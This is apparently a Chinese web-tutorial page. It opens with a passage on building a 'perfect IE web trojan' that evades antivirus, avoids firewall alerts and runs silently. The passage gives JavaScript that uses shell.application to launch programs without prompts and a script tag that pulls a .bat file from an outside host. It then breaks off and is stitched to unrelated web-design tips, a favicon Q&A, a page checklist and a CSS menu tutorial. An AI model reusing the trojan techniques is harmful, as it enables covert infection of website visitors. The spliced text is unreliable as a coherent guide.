打造完美的IE网页木马

 更新时间:2016年9月20日 19:04  点击:1429

  既然要打造完美的IE网页木马,首先就必须给我们的完美制定一个标准,我个人认为一个完美的IE网页木马至少应具备下列四项特征:

  一:可以躲过杀毒软件的追杀;

  二:可以避开网络防火墙的报警;

  三:能够适用于多数的WINDOWS操作系统(主要包括WIN98、WINME、WIN2000、WINXP、WIN2003)中的多数IE版本(主要包括IE5.0、IE5.5、IE6.0),最好能打倒SP补丁;

  四:让浏览者不容易发觉IE变化,即可以悄无声息,从而可以长久不被发现。
  (注意以上四点只是指网页本身而言,但不包括你的木马程序,也就是说我们的网页木马只是负责运行指定的木马程序,至于你的木马程序的好坏只有你自己去选择啦!别找我要,我不会写的哦!)

  满足以上四点我想才可以让你的马儿更青春更长久,跑的更欢更快……

  看了上面的几点你是不是心动拉?别急,我们还是先侃侃现有的各种IE网页木马的不足吧!

  第一种:利用古老的MIME漏洞的IE网页木马这种木马现在还在流行,但因为此漏洞太过古老且适用的IE版本较少,而当时影响又太大,补丁差不多都补上啦,因此这种木马的种植成功率比较低。

  第二种:利用com.ms.activeX.ActiveXComponent漏洞,结合WSH及FSO控件的IE网页木马虽然com.ms.activeX.ActiveXComponent漏洞广泛存在于多数IE版本中,是一个比较好的漏洞,利用价值非常高,但却因为它结合了流行的病毒调用的WSH及FSO控件,使其虽说可以避开网络防火墙的报警,可逃不脱杀毒软件的追捕(如诺顿)。

  第三种:利用OBJECT对象类型确认漏洞(Object Data Remote)并结合WSH及FSO控件的IE网页木马(典型的代表有动鲨网页木马生成器)

  此种木马最大的优点是适应的IE版本多,且漏洞较新,但却有如下不足:

  1、因为此漏洞要调用Mshta.exe来访问网络下载木马程序,所以会引起防火墙报警(如天网防火墙);

  2、如果此IE网页木马又利用了WSH及FSO控件,同样逃不脱杀毒软件的追捕(如诺顿),而动鲨网页木马又恰恰使用了WSH及FSO控件,叹口气……可惜呀……?

  3、再有就是这个漏洞需要网页服务器支持动态网页如ASP、JSP、CGI等,这就影响了它的发挥,毕竟现在的免费稳定的动态网页空间是少之又少;虽说此漏洞也可利用邮件MIME的形式(见我在安全焦点上发表的文章:《由错误MIME漏洞的利用想到的......---IE Object Data 数据远程执行漏洞的利用》http://www.xfocus.net/articles/200309/607.html)来利用,但经测试发现对IE6.0不起作用。

  看到上面的分析你是不是有了这种感觉:千军易得,一将难求,马儿成群,奈何千里马难寻!别急,下面让我带这大家一起打造我心中的完美IE网页木马。

  首先要躲过杀毒软件的追杀,我们就不能利用WSH和FSO控件,因为只要利用了WSH和FSO控件就一定逃不脱“诺顿”的追杀,这可叫我们该如何是好?!别急,经过我的努力工作(说真的我也是在研究ASP木马时偶然发现的灵感)终于我有找到了一个可以用的控件,那就是shell.application,并且它可是经过了安全认证的,可以在“我的电脑”域中的网页中畅通无阻的执行,比WSH和FSO更容易得到执行权限(利用跨域漏洞即可),请看下面javascript代码:

<SCRIPT LANGUAGE="javascript" type="text/javascript">
var shell=new ActiveXObject("shell.application");
shell.namespace("c:\Windows\").items().item("Notepad.exe").invokeverb();
</SCRIPT>

  保存为test.htm后打开看是否自动打开了记事本程序,而且不会象WSH和FSO那样出现是否允许运行的提示框,是不是有点兴趣啦?现在我们已可以运行所有已知路径的程序,但我们要求运行我们自己的木马程序,所以还要求把我们的木马程序下载到浏览者的电脑上并找出它的位置。我们一个个来解决:

  1、下载木马程序到浏览者的电脑中

  这一点可以有很多解决方法,比如我以前提到的WINDOWS帮助文件访问协议下载任意文件漏洞(its:),不过这次我们不用它,再教大家两个更好的下载方法:

  例一:利用SCRIPT标签,代码如下:

<SCRIPT LANGUAGE="icyfoxlovelace" src="http://www.godog.y365.com/wodemuma/icyfox.bat"></SCRIPT>

  十要:

  第一:要认真规划和分析。这是网页设计灵魂工作。创建站点之前,要明确你的网站主要针对哪些访问者,为哪些用户服务,要把握准主页题材

  第二:网页要易读。这就意味着,你必须花点心思来规划文字与背景颜色的搭配方案。注意不要使背景的颜色冲淡了文字的视觉效果,别用花里胡哨的色彩组合,让人看起你的网页来很费劲。这个原则也意味着,你最好别把文字的规格设得太小、也不能太大。文字太小,人家读起来难受;文字太大,或者文字视觉效果变化频繁,像是冲着人大喊大叫,看起来不舒服。

  第三:网站导航要清晰。所有的超链接应清晰无误地向读者标识出来,所有导航性质的设置,像图像按钮,都要有清晰的标识,让人看得明白,千万别光顾视觉效果的热闹的,而让人家不知东西南北。   第四:网页风格要统一。其实,这个原则和传统的印刷出版物没什么区别。你网页上所有的图像、文字,包括像背景颜色、区分线、字体、标题、注脚什么的,都要统一风格,贯穿全站。这样子读者看起来舒服、顺畅,会对你的网站留下一个“很专业”的印象。很多缺乏编辑、出版背景的网友,很容易忽视这点,特别是网页一多,更容易忘。

  第五:要给用户选择的权利。应当充分考虑他们的需求,网页要允许那些大款或在公司上网的人欣赏复杂的Flash或VRML,也要允许那些囊中羞涩的自费上网者选择简单的HTML或纯文本格式。一个奇怪的现象是,尽管很多人都知道在网站上放一份纯文本版的重要性,但很少有人这样做。

  第六:网页要有交互性,也称之为互动性,是网站设计至关重要的一环。 网络给我们提供了前所未有的交流条件,我们就没有理由不让用户发表意见。我认为,在每一页加上留言簿和E-mail链接,是对一个网站最基本的要求。

  第七:要充分发挥ALT标签的作用。这看似简单的技术,几乎是衡量一个网站制作是否认真的基本标准。这样做可以在图片未显示出来时,访问者就可以知道这幅图是完成什么功能,或是完成什么链接,能起来一种加快网页浏览速度的作用。

  第八:要定期核实超级链接的正确性。对于那些页面中有链接其它站点内容的网页,更要定时、全面核实,否则你会失去很多经常访问你站点的“老客户”的。

  第九:要尝试使用不同环境下的浏览器检验您的网页。用尽可能多的环境下的浏览器检验您的网页,或者让朋友们在不同的机器上读读您的网页。最起码要保证PC下的IE和Netscape,以及Unix下的Netscape能满意显示您的网页。

  第十:要及时更新和维护。网站建设起来,只是一个新的起点,你更要细心照料, 并不断更新,以保持其常有的新鲜,若不能及时更新,也最好在主页上发布信息,告诉你的朋友,我要离开一段时间,未能及时给你回复,希望见谅。否则形同“死站”, 让人以为你对他的信不屑一顾,更不会和你继续往来了。

   十不要:

  一不要使用巨幅的或过多的图形。目前网客上网的一个最主要目的就是寻找信息,速度越快越好,“赏心悦目”决不是您网页的主要设计目标。一些必须的照片或图画可制成单独的链接以分流主页的大小。记住∶过多的图形意味着访问者必须多次连接Server,严重影响网络速度。

  二不要使用闪烁的图形或文字。闪烁的图形和文字容易引起流览者的注意,被广告商们普遍应用。正因如此,也引起了广大网客极端反感,多数人反应闪烁的图形和文字不仅刺激眼睛,让人不舒服,而且也分散人的注意力,非常影响阅读。另外,闪烁的图形也会极大地降低网络速度。

  三不要每页的内容过多。必要的分类与分页不仅有助于阅读,也能有效减低每一页的读取时间,易受网客欢迎。一般的网客在一个网页只会停留极短的时间,若您的一个网页有几页长,您就该考虑分成几个链接,争取把最主要的内容放在首页。

  四不要出现错别字、病句。这条禁忌似乎人人知道,但就是有很多很多站点有这些毛病。原因主要是做这些站点的人,大多是技术出身,以为网站就是展示技术能力的场所,实际上,网站迄今为止的基本功用应该是信息传播,应该比照媒体、出版的专业规范来,应该由专业编辑来处理。任何事情总有利弊两面,互联网技术的普及可以让每个人可以自由地创办自己的“媒体”,同时也给互联网世界增添了无数水准低下、制作粗劣的东西。

  五不要使用自动的强迫性popˉup窗口。许多站长爱在网页中加入一些script,以使进入(或退出)该网页的浏览器自动产生另一窗口,这是一种极让人反感的作法,多数网客讨厌被迫执行这种命令。若是当网客主动进入赞助商的网页时,另外产生的窗口则能普遍被人接受。

  六不要过多装饰。网页设计者们常常喜欢使用各种漂亮的小“摆设”来装饰网页,但过多的装饰不仅影响网络速度,更容易引起读者华而不实的感觉。网客们越来越注重的是内容而不是华丽。所以除非您想展示您的审美观,不要为了华美而忽视速度。

  七不要轻易使用最新的网页功能。不要为了个人兴趣而去使用某些浏览器的最新的功能,这不仅可能让许多访问者在读您的网页时遇到Bug,也为您将来的维护增添麻烦。目前您的网页最好能面向IE3.0和Netscape3.0,这样您的网页会和几乎所有的网客的浏览器兼容。

  八不要尝试使用使用JAVA或JAVAScript。JAVA的调用一般比文字慢许多,而它对于以信息为主的网页来说用途极小。

  问:我将有些网站添加到收藏夹时,会看到这个图站在收藏夹中会显示出特别的图标。我也想在网页上加入代表我个人主页的标志,请问这种图标是如何实现的?

  答:Internet Explorer 5.0提供了一个新的功能,就是可以让网页设计者自己设计网站URL的图标。也就是在Internet Explorer地址栏前面,以及在收藏夹里面,显示的是你自己设计的图标,而不是默认的Internet Explorer图标。要能够在网址栏中显示自己的图标,要以下几个步骤:
首先要做出你自己的图标。你可以用任何一种图形设计程序来制作你的图标,或是你可以从图库、网络等地方找到你要的图标,这个图标的大小必须是16×16像素,否则可能会显示不出来。虽然Internet Explorer规定是一定要用16×16的大小,但是笔者发现用32 x 32的大小也可以。

  接下来,就要把图标链接到网页中了,链接图标可以有两种方法来实现。

  第一种方法:你把你的图标文件名取为favicon.ico,并且放在你网页所在的根目录下,就是跟你首页文件(一般是index.htm、index.html、default.htm或default.html放在一起)。这样Internet Explorer 5.0就会自动读取这个favicon.ico,从而将这个图标显示出来。

  第二种方法:在首页HTML文件中,加入link命令,<link>是放在<head>与</head>之间,例如下面这样:

<HEAD>
<LINK REL="SHORTCUT ICON" HREF="http:///youricon.ico">
<TITLE>网页教学网--专业的网页教学站点</TITLE>
</HEAD>

  其中的"HREF=http:///youricon.ico>"只是一个例子,你只要将"http://"替换成你的网址,将"youricon.ico"替换成你制作的ICO文件名即可。这样只有当网友把你的网站加到Internet Explorer的收藏夹中,并重新打开Internet Explorer浏览器之后,你自行制作的图标才会显示出来。

  小提示:如果你不要你的Internet Explorer在收藏夹中出现这些网站自行制作的图标,在加入收藏夹之后,做清除History的操作。然后再重新打开Internet Explorer浏览器之后,这些自行制作的图标就会消失,恢复成Internet Explorer默认的图标。



1、检查标题。
2、检查版权信息,尤其是电话号码。
3、图片、文件定位问题。
4、产品页面首页指向产品类别问题。
5、文章页面首页指向文章类别问题。
6、产品图片大小控制问题。
7、反馈单信箱问题。
8、CSS表问题
   文字间距
   文字大小
   文字缩进
   行距
   文字颜色
   链接
   左右上下边距问题
9、产品参数介绍、特殊要求
10、列表主题字数限制
11、所在经过ASP输出的html都应该处理一下,应该保证其大小限定在一个范围。
12、产品分类问题。如何分类,分类如何显示。
13、中文网页只可设为 GB2312 Encoding
14、在所见即所有的网页编辑器中不要按太多的 Space 及 Enter 键,要控制文字或物件的位置,请采用其本身的参数或配合表格、清单和预设格式标记的使用。
  
15、不要让你的一行或一段太长,特别是文字式网页,不妨加上显眼的标题或适当的插图,精彩的文章亦 要包装,能既精彩又能留住读者才算上乘。

16、不要使用的属性
    align=center  改为   <center></center>
    <font>        改为   CSS样式
    <B>    改为  <strong>

17.网页的版权声明有三种显示方法,第一是当作一般文字显示于浏览画面,第二是利用说明标记 <!-- Copyright -->,第三是利用 <META> 标记。 

18、在没有内容的情况下,要保证页面不变形。增加了内容也不能变形。   
   
19、在网页中,两个并行的栏目,第一行必须必须位于同一水平线上。

20、两行文字显示,若该两行文字不属于同一栏目,则不行隔得太近,缩进必须一致。 

21、两个栏目之间最好要有明显的分隔标志。

22、同一个栏目中CSS最好保证一致。

<

  仿Windows下拉菜单,在网上是比较常见的,最初出现在微软网站上,之后被大量效仿。 事实上制作这样一个模拟菜单也并不是一件很困难的事,比如上面的例子代码如下:

  -------------------------------------------

  <!-- 样式部分 -->

  <style type=text/css>

  td,div { font: normal 12px 宋体; }

  a { color: #F8F8F8; text-decoration: none; }

  a:hover { color: #F8F8F8; text-decoration: underline; }

  </style>

  <!-- 实现部分 -->

  <div style="background-color:#3366CC;width:68px;text-align:center;

  padding:3px;border-bottom:1px solid #FFFFFF;z-index:1;"

  onmouseover="myMenu.style.display='block'"

  onmouseout="myMenu.style.display='none'">

   <div style="position:absolute;width:0px;height:0px;overflow:visible;">

   <div id=myMenu style="position:absolute;left:-10px;top:18px;display:none;

   width:90px;background-color:#3366CC;padding:5px;text-align:left;">

   &nbsp;<a href=http:///htmldata/2005-06-18/1119051233.html#none>Link 1</a><br>

   &nbsp;<a href=http:///htmldata/2005-06-18/1119051233.html#none>Link 2</a><br>

   &nbsp;<a href=http:///htmldata/2005-06-18/1119051233.html#none>Link 3</a><br>

   &nbsp;<a>...</a><br>

   &nbsp;<a href=http:///htmldata/2005-06-18/1119051233.html#none>Link N</a><br>

   </div>

   </div>

   <a href=http:///htmldata/2005-06-18/1119051233.html#none>菜单实例</a>

  </div>

  -----------------------------------

  那么下面我们就由浅入深的对这种模拟菜单进行分析讲解。

  在讲解之前,有一点需要说明的是:笔者在后面讲解的代码都基于当前的主流浏览器Microsoft Internet Explorer(即我们通常所说的IE)下的。笔者进行调试的浏览器是IE 5.01。另外,这样一个菜单体现的是HTML/CSS/javascript的综合应用,这里并不对一些细节进行详细的讲解,所以你至少应该有一点这方面的基础。

  基本原理

  其实,这个菜单实现的原理简单的说就是:设置页面元素的CSS属性,对其进行定位并设置其是否可见,然后通过激发一定的事件,用javascript来动态的改变这些属性。

  看下面几个CSS属性:

  position:定位类型,取值static/absolute/relative,其代表的含义简单的说即无定位/绝对定位/相对定位;

  left:距离左侧的位置(具体的参照物与position的设置有关),单位为px或%;

  top:距离顶部的位置(具体的参照物与position的设置有关),单位为px或%。

  display:页面元素的显示状态,如取值block表示做为块状元素显示,none则为不显示,还有其他一些取值(如inline等)这里就不做详解。

  比如上例中的“div id=myMenu style="position:absolute;left:-10px;top:18px;display:none...”就是使用了这几个属性。

  下面我们来看看如何用javascript来控制页面元素的CSS属性。

<
[!--infotagslink--]

相关文章

  • phpems SQL注入(cookies)分析研究

    PHPEMS(PHP Exam Management System)在线模拟考试系统基于PHP+Mysql开发,主要用于搭建模拟考试平台,支持多种题型和展现方式,是国内首款支持题冒题和自动评分与教师评分相...2016-11-25
  • JS使用cookie实现DIV提示框只显示一次的方法

    本文实例讲述了JS使用cookie实现DIV提示框只显示一次的方法。分享给大家供大家参考,具体如下:这里运用JavaScript的cookie技术,控制网页上的提示DIV只显示一次,也就是当用户是第一次打开网页的时候才显示,第二次自动隐藏起...2015-11-08
  • php根据用户语言跳转相应网页

    当来访者浏览器语言是中文就进入中文版面,国外的用户默认浏览器不是中文的就跳转英文页面。 <&#63;php $lan = substr(&#8194;$HTTP_ACCEPT_LANGUAGE,0,5); if ($lan == "zh-cn") print("<meta http-equiv='refresh' c...2015-11-08
  • PHP中SSO Cookie登录分析和实现

    什么是SSO?单点登录SSO(Single Sign-On)是身份管理中的一部分。SSO的一种较为通俗的定义是:SSO是指访问同一服务器不同应用中的受保护资源的同一用户,只需要登录一次,即通过一个应用中的安全验证后,再访问其他应用中的受保护...2015-11-08
  • PHP中SSO Cookie登录分析和实现

    什么是SSO?单点登录SSO(Single Sign-On)是身份管理中的一部分。SSO的一种较为通俗的定义是:SSO是指访问同一服务器不同应用中的受保护资源的同一用户,只需要登录一次,即通过一个应用中的安全验证后,再访问其他应用中的受保护...2015-11-08
  • 腾讯视频怎么放到自己的网页上?

    腾讯视频怎么放到自己的网页上?这个问题是一个基本的问题,要把腾讯视频放到自己的网页有许多的办法,当然一般情况就是直接使用它们的网页代码了,如果你要下载资源再放到...2016-09-20
  • vue项目中js-cookie的使用存储token操作

    这篇文章主要介绍了vue项目中js-cookie的使用存储token操作,具有很好的参考价值,希望对大家有所帮助。一起跟随小编过来看看吧...2020-11-14
  • 基于JavaScript实现网页倒计时自动跳转代码

    这篇文章主要介绍了基于JavaScript实现网页倒计时自动跳转代码 的相关资料,需要的朋友可以参考下...2015-12-29
  • 网页头部声明lang=”zh-cn”、lang=“zh”、lang=“zh-cmn-Hans”区别

    我们现在使用的软件都会自动在前面加一个申明了,那么在网页头部声明lang=”zh-cn”、lang=“zh”、lang=“zh-cmn-Hans”区别是什么呢?下面我们就一起来看看吧. 单...2016-09-20
  • Vue组件实现旋转木马动画

    这篇文章主要为大家详细介绍了Vue组件实现旋转木马动画效果,文中示例代码介绍的非常详细,具有一定的参考价值,感兴趣的小伙伴们可以参考一下...2021-07-23
  • 什么是cookie?js手动创建和存储cookie

    什么是cookie? cookie 是存储于访问者的计算机中的变量。每当同一台计算机通过浏览器请求某个页面时,就会发送这个 cookie。你可以使用 JavaScript 来创建和取回 cookie 的值。 有关cookie的例子: 名字 cookie 当访...2014-05-31
  • python爬虫用request库处理cookie的实例讲解

    在本篇内容里小编给大家整理的是一篇关于python爬虫用request库处理cookie的实例讲解内容,有需要的朋友们可以学习参考下。...2021-02-21
  • 如何清除IE10+ input X 文本框的叉叉和密码输入框的眼睛图标

    从IE 10开始,type=”text” 的 input 在用户输入内容后,会自动产生一个小叉叉(X),方便用户点击清除已经输入的文本,下面通过本文给大家介绍下如何清除IE10+ input X 文本框的叉叉和密码输入框的眼睛图标...2017-01-09
  • 基于C#后台调用跨域MVC服务及带Cookie验证的实现

    本篇文章介绍了,基于C#后台调用跨域MVC服务及带Cookie验证的实现。需要的朋友参考下...2020-06-25
  • C#实现Winform中打开网页页面的方法

    这篇文章主要介绍了C#实现Winform中打开网页页面的方法,涉及WinForm中WebBrowser的相关使用技巧,具有一定参考借鉴价值,需要的朋友可以参考下...2020-06-25
  • chrome监听cookie变化与赋值问题

    这篇文章主要介绍了chrome监听cookie变化与赋值问题,cookie监听与赋值操作需要manifest文件里声明权限问题,本文通过实例代码给大家介绍的非常详细,对大家的学习或工作具有一定的参考借鉴价值,需要的朋友可以参考下...2021-10-22
  • Go语言通过http抓取网页的方法

    这篇文章主要介绍了Go语言通过http抓取网页的方法,实例分析了Go语言通过http操作页面的技巧,需要的朋友可以参考下...2020-05-05
  • Delphi实现木马自我拷贝方法

    这篇文章主要介绍了Delphi实现木马自我拷贝方法,对于研究木马的运行原理很有帮助,需要的朋友可以参考下...2020-06-30
  • jQuery使用cookie与json简单实现购物车功能

    这篇文章主要介绍了jQuery使用cookie与json简单实现购物车功能的方法,介绍了jQuery实现购物车的步骤与关键代码,需要的朋友可以参考下...2016-04-18
  • 详解Document.Cookie

    这篇文章主要介绍了详解Document.Cookie的相关资料,需要的朋友可以参考下...2015-12-27